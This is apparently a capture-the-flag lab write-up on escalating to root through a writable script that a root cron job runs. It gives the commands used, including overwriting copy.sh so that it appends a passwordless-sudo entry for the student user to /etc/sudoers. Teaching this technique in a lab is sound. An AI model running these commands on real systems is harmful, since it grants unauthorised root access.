Lab
Cron is a lifesaver for admins doing periodic maintenance tasks, and it can even run tasks inside individual user directories. But those automations have to be used with caution, or they lead to easy privilege escalation.
Mission: get a root shell on the box and retrieve the flag.
Find Occurrences of Path to File
Enumerate the system to see what uses message:
grep -rnw /usr -e "/home/student/message"
-rnw= recursive search
message is kept in the /tmp directory and is used in /usr/local/share/copy.sh. We can modify this copy.sh file and escalate privileges.
Check the permissions on copy.sh:
ls -al /usr/local/share/copy.sh
The permissions let us modify the file.
Edit the file to add our user to the sudoers file:
printf '#!/bin/bash\necho "student ALL=NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/share/copy.sh # essentially echoes student as root into sudoers and into the copy.sh to execute as root.
>> # append to end of file
>= overwrites file
Confirm there was a cron job running at the root level:
crontab -l